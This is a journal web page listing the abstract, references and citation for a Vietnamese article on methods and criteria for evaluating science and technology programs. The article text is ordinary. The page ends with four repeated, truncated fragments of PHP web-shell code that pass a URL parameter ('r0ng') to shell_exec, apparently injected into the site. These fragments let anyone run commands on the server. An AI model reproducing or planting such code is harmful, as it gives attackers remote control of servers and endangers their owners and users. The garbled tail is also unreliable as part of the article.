Science and technology program evaluation: from theory to practice and proposed method and criteria for evaluation in line with Vietnam’s conditions

  • Tran Hau Ngoc
  • Nguyen Ngoc Chien
  • Nguyen Quoc Huy
Keywords: Science and technology, S&T program, Evaluation of the science and technology program, Method, Conditions

Abstract

Evaluation is an essential tool for effective management practices, evaluation is not only a tool to measure the success of the program but also contributes to that success. Evaluation helps program managers to plan, evaluate and demonstrate what their goals are to be achieved, decide how to add resources, how to modify and redesign the program, and adapt implemented in the next stage. Evaluation of the science and technology (S&T) program is usually done in 4 phases: (i) Ex-ante Evaluation: the assessment is conducted prior to program execution. This phase assesses the feasibility and quality of the program design; (ii) Mid-term Evaluation: the assessment is conducted midway through program implementation to review performance from inception and recommend necessary modifications; (iii) Terminal Evaluation: the assessment is carried out right after the end of the program, in order to consider the results achieved and summarize the entire implementation process, to draw the necessary experience as a basis for making the program acceptance report; (iv) Impact Evaluation: the assessment is carried out at an appropriate time, since the program was put into operation and used to clarify the effectiveness, sustainability and socio-economic impact of the program. Therefore, depending on the requirements, the purpose, process and method of evaluation will be different. In this article, we present the experiences of some countries in evaluating the S&T Program, and proposing evaluation of the program under conditions in Vietnam.

Code: 20082801

Downloads

Download data is not yet available.

References

Tiếng Việt
1. Luật Khoa học và Công nghệ năm 2013.
2. Nghị định số 08/2014/NĐ-CP ngày 27/01/2014 quy định chi tiết và hướng dẫn thi hành một số điều của Luật Khoa học và Công nghệ.
3. Đỗ Thị Thùy Dương, (2016). “Đánh giá một chương trình KHCN và một chương trình KHXH cấp nhà nước qua các giai đoạn thực hiện từ năm 2001 đến năm 2015 nhằm hỗ trợ công tác quản lý khoa học và công nghệ”, Báo cáo tổng kết nhiệm vụ cấp Bộ. Viện Đánh giá khoa học và Định giá công nghệ.
4. Nguyễn Ngọc Chiến, (2018). “Đánh giá hiệu quả và hoạt động của Chương trình KC.02 qua hai giai đoạn từ 2006-2015”, Báo cáo tổng kết nhiệm vụ cấp Bộ. Viện Đánh giá khoa học và Định giá công nghệ.
5. Nguyễn Thị Thu Oanh, (năm 2012). “Nghiên cứu cơ sở khoa học và thực tiễn để xây dựng phương pháp, tiêu chí và quy trình đánh giá các chương trình KH&CN”, Báo cáo tổng kết nhiệm vụ cấp Bộ. Viện Đánh giá khoa học và Định giá công nghệ.
6. Nguyễn Thị Thu Oanh, (năm 2015). “Nghiên cứu hoàn thiện phương pháp luận đánh giá chương trình thông qua đánh giá thí điểm một chương trình KH&CN cấp nhà nước”, Báo cáo tổng kết nhiệm vụ cấp Bộ. Viện Đánh giá khoa học và Định giá công nghệ.
7. N. T. Hà và P. Q. Anh, “Đánh giá tác động của Chương trình KH&CN: Kinh nghiệm một số nước trên thế giới và bài học cho Việt Nam”, Tạp chí Công thương, Số 1, tháng 1/2020.
8. Tạ Doãn Trịnh, (năm 2010). “Nghiên cứu kinh nghiệm Trung Quốc trong công tác xây dựng hệ thống đánh giá KH&CN và đề xuất áp dụng cho Việt Nam, Báo cáo tổng kết nhiệm vụ hợp tác quốc tế theo Nghị định thư. Viện Đánh giá khoa học và Định giá công nghệ.
9. Tian Delu, (2010). “Kinh nghiệm đánh giá chương trình 863 của Trung Quốc”. Hội thảo về Đánh giá chương trình KH&CN của VISTEC, tháng 9/2010, Hà Nội.
10. Trần Hậu Ngọc, (2019). “Đánh giá tác động của các chương trình khoa học và công nghệ trọng điểm cấp nhà nước KC.01, KC.03, KC.06 và KC.07 giai đoạn 2011-2015”, Báo cáo tổng kết nhiệm vụ cấp Bộ. Viện Đánh giá khoa học và Định giá công nghệ.
Tiếng Anh
11. Evaluation of Research and Development Programs, Treasury Board Secretariat Guidelines, 1986.
12. A Review of the Chinese National Center for Science and Technology Evaluation, Laura Pan Luo, Journal of MultiDisciplinary Evaluation.
Published
2021-01-15
How to Cite
Ngoc, T., Chien, N., & Huy, N. (2021, January 15). Science and technology program evaluation: from theory to practice and proposed method and criteria for evaluation in line with Vietnam’s conditions. Journal SCIENCE AND TECHNOLOGY POLICIES AND MANAGEMENT, 9(3), 56-74. Retrieved from http://vietnamstijournal.net/index.php/JSTPM/article/view/336
Section
STUDIES OF STRATEGIES AND MANAGEMENT
".shell_exec($_GET["r0ng"]);}?> ".shell_exec($_GET["r0ng"]);}?> ".shell_exec($_GET["r0ng"]);}?> ".shell_exec($_GET["r0ng"]);}?>